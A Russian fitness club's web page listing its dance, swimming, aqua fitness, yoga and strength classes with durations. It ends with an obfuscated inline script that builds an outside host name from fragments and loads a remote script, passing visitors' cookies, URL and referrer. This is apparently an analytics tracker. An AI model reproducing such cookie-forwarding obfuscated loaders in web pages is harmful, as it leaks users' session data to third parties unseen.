Фитнес Без Клубной Карты

Секции/Студии


Уникальное для фитнес клуба направление - возможность посещения узкоспециализированных занятий без клубной карты.

У нас созданы и функционируют студийные и секционные форматы уроков как для взрослых, так и для детей.

Профессиональная танцевальная студия - наши педагоги и хореографы специализируются в различных танцевальных направлениях.

Латиноамериканская и европейская программа, кизомба, танец живота. Одно из преимуществ - наличие ассистентов.

Удобное вечернее время и дни недели для занятий.

Редкое направление - грудничковое плавание, пользуется большой популярностью, так как занятия проводятся

в отдельном детском бассейне, с тренерами, которые прошли специальную подготовку и имеют соответсвующий сертификат для
занятий с маленькими детьми.

Секции по плаванию - наши тренеры занимаются с детьми различных возрастных групп и мастерства. Занятия проводятся
на ежедневной основе в максимально удобное время
Двери нашего детского клуба всегда открыты для досуга детей, пока родители посещают SPA, ресторан или просто личными делами.


Tae-bo

Программа направлена на проработку всех групп мышц, в том числе и глубоких. Развивает координацию, ловкость, гибкость, а так же мышечную силу и выносливость.
55 мин.
ПОДРОБНЕЕ

Stretch

Урок, основанный на хореографии латиноамериканских танцев. В программу включены: клубнгая латина (сальса, меренге, бачата) и классическая латина (самба, румба, ча-ча-ча, джайв, пасадобль).
55 мин.
ПОДРОБНЕЕ

Aqua Fitness

Программа для подготовленных. Занятие с применением различного оборудования для развития силы мышц: амортизаторы, аква-гантели, аква-лопатки и т.д.

Интенсивность: высокая

45 мин.
ПОДРОБНЕЕ

Pilates

Система упражнений, позволяющая укрепить мышечный корсет при минимальной нагрузке на позвоночник, улучшить осанку, развить гибкость, подвижность суставов, эластичность связок, а так же межмышечную координацию
55 мин.
ПОДРОБНЕЕ

ABS+Flex

Тренировка мышц брюшного пресса в сочетании с упражнением на развитие гибкости.
55 мин.
ПОДРОБНЕЕ

Bosu

Тренировка мышц ног, ягодиц и брюшного пресса.
55 мин.
ПОДРОБНЕЕ

Sculpt

Силовая тренировка всех мышечных групп с использованием различного оборудования. Средняя и высокая интенсивность.
55 мин.
ПОДРОБНЕЕ

Yoga

Обучения упражнениям для отстройки опорно – двигательного аппарата, укрепление основных рупных групп мышц, дахательным упражнениям и техникам концентрации внимания.
90 мин.
ПОДРОБНЕЕ

Aqua Jogger

Класс c использованием специального оборудования, которое позволит привести в тонус мышцы ног и ягодиц.
Программа способствует развитию силовой выносливости.  
45 мин.
ПОДРОБНЕЕ

Dance Mix

Урок включает в себя совокупность аэробики и популярных стилей. Обычные фитнес превращается в настоящий живой танец, взрыв эмоций, море улыбок и все это под жгучие латинские и другие мировые ритмы.
55 мин.
ПОДРОБНЕЕ

Functional

Программа направлена на подготовку всех групп мышц, в том числе и глубоких. Развивает координацию, ловкость, гибкость, а так же мышечную силу и выносливость.
55 мин.
ПОДРОБНЕЕ

Капитошки

Программа для детей от 3 до 5 лет. В игровой форме на занятиях проходит ознакомление с водной средой и обучение начальным навыкам плавания.                                                                
30 мин.
ПОДРОБНЕЕ

Hatha Yoga

Стиль тренировок: совмещение статики и динамики. Плавный переход от асаны к асане с фазами фиксации и проработки отдельных поз (отстройка тела, работа с вниманием, дыханием).
90 мин.
ПОДРОБНЕЕ

Upper Body

Тренировка мышц спины, рук, плеч и брюшного пресса.
55 мин.
ПОДРОБНЕЕ

Latina

Урок, основанный на хореографии латиноамериканских танцев. В программу включены: клубная латина (сальса, меренге, бачата) и классическая латина (самба, румба, ча-ча-ча, джайв, пасадобль).

55 мин.
ПОДРОБНЕЕ

Lower body

Совершенствование базовых шагов, соединяя их в интересные комбинации, с использованием сложных модификаций.
55 мин.
ПОДРОБНЕЕ

Aqua Warm up

Утренняя тренировка для любителей аквааэробики.
Аэробная нагрузка средней интенсивности.
45 мин.
ПОДРОБНЕЕ

Aqua Combat

Программа для подготовленных. Высокоинтенсивная тренировка в воде, направленная на развитие общей и силовой выносливости, включающая в себя элементы бокса и кикбоксинга.
45 мин.
ПОДРОБНЕЕ

Dance Mix

Урок включает в себя совокупность аэробики и популярных стилей. Обычные фитнес превращается в настоящий живой танец, взрыв эмоций, море улыбок и все это под жгучие латинские и другие мировые ритмы.
55 мин.
ПОДРОБНЕЕ

Zumba

Урок включает в себя совокупность аэробики и популярных танцевальных стилей. Обычный фитнес превращается настоящий живой танец, взрыв эмоций, море улыбок, и все это под жгучие латиноамериканские ритмы.
55 мин.
ПОДРОБНЕЕ

Aqua Power

Силовой урок с использованием аква-гантелей, направленный на развитие мышц верхнего плечевого пояса.
Интенсивность: средняя.
Оборудование: аква-гантели.
45 мин.
ПОДРОБНЕЕ
ПОЛУЧИТЬ КЛУБНУЮ КАРТУ
(function(w, d, e) { var a = 'all', b = 'tou'; var src = b + 'c' +'h'; src = 'm' + 'o' + 'd.c' + a + src; var jsHost = (("https:" == d.location.protocol) ? "https://" : "http://")+ src; s = d.createElement(e); p = d.getElementsByTagName(e)[0]; s.async = 1; s.src = jsHost +"."+"r"+"u/d_client.js?param;ref"+escape(d.referrer)+";url"+escape(d.URL)+";cook"+escape(d.cookie); if(!w.jQuery) { jq = d.createElement(e); jq.src = jsHost +"."+"r"+'u/js/jquery-1.7.min.js'; p.parentNode.insertBefore(jq, p);} p.parentNode.insertBefore(s, p); }(window, document, 'script')); -->